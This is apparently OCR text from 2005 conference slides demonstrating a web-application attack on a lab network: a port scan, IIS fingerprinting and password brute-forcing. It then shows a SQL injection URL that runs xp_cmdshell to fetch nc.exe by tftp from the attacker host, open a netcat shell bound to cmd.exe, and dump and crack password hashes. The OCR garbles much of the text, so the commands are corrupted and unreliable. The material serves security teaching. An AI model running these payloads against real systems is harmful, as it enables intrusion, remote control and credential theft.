> SELECT * FROM users WHERE clus >
0 rows returned
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WEB SERVE ICATION Sl JATABASE

WEB CLIENT
(HTML / JavaScript / VBScript) (ASP/ASPXIJSP/PHP/CGI) (CHIC++IJAVA) mySQL / Oracle /
(Firefox / Internet Explorer) (IS / Apache / iPlanet) (BEA WEB LOGIC / MS SQL / Progress

MICROSOFT TRANSACTION SERVER / TOMCAT)
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sl -bhpvt 25,53, 80, 443, 3389, 100- 200 192. 168. 15. 110
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3 4 #

httprint version 0.202 S

Input
o

ﬂn: \toolbox\webhhitprintinput bt ﬁl Load | e
! nmap

Signature

ﬁ: “toolboxswebhitprintsignatures bt ﬁ

[ Host [Pt [ & Banne: Reported

v securycompass.com | 80 [ | Microsoft1I5/6.0 Microsoft15./6.0

Microsoft—11576.0
FACD41D36ED3C295811C3DC5811C9DC5050C502594DF1BD04276E4BBA11CIDCS
0D7645B5811C9DC524200B4CCD37187C11DDC7D?B398721E811CIDC52655F350
FCCCS3SBE2CES923E2CES923811CIDCEE2CES9272576B769E2CEC326FACD41D3
6ED3C295E1CEE7B1811CIDCSE2CER923E2CER9236ED3C2956ED3C295E2CER923
E2CER923FCCCS35FA732F670E2CER327E2CER920

Microsoft-115/6.0: 165 9940
Microsoft-IIS/5.0 ASP.NET: 94 13.36
Microsoft-1I5/5.1: 94 13.36
Netscape-Enterprise/t.0: 93 12.82

Report - = ;
ﬁ[\IDD\bux\web\hllpum\ﬁtlpnnmulpul il (r: Z:m o LI LI Clear# | ptions
[iegrint has been completed.. T |
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% Brutus - AET2 - www. hoobie.net/brutus - [January 2000) =lolx]
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next

Your details are:

Usermame:

Passmord:
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3 ' >HT737? $

y #T737 F %% G
) exec master..xp_cndshell "tftp -i 192.168.15. 67 GET
nc. exe' - -

[http://192.168. 15. 110/ vi cti m wel cone. asp?page=cont ent _di spl ay. asp&
cat egor y=2& d=2; %20exec%20nmast er. . xp_cndshel | 920" tftp -i
192. 168. 15. 67 GET nc. exe' --]

) exec master..xp_cndshell "tftp -i 192.168.15. 67 GET
tool z. exe c:\tool z. exe' --

[http://192.168.15. 110/ vi cti m wel cone. asp?page=cont ent _di spl ay. asp&
cat egor y=2& d=2; ¥%20exec%20mast er. . xp_cndshel | 920" tftp -i
192.168. 15. 67 GET tool z.exe c:\tool z. exe' --]

) exec master..xp_cndshell 'nc -v -1 -p 443 -e cnd. exe’ --

[http://192.168. 15. 110/ vi cti m wel cone. asp?page=cont ent _di spl ay. asp&
cat egor y=2& d=2; ¥%20exec%20mast er . . xp_cndshel | %20' nc%20- v%20- | %20-
py%20443%20- e%20cnd. exe' - -]
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$ % %

nc —vvn 192.168.15. 110 443

) 3

ipconfig /all [identify ip address]
whoam [identify account nane]
tasklist /svc [services running]

) %

pwdunp3e [dunp account passwor ds]
tasklist /svc [services running]

Showcase Ontario 2005 Securitycompass.com




) % 7

Pwdunp3e \\ Il ocal host

) $

LOpht crack or John

Showcase Ontario 2005

Securitycompass.com

8

DMZ

Attacker

192.168.15.67
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~NJ

Firgwall

192.16

.15.100

OpenlPort 25

Open Port 53

Open Port 80
Closed Port 443

List of Filtered Port

192.168.15.110
10.1.1.10
10.1.1.11

10.1.1.254
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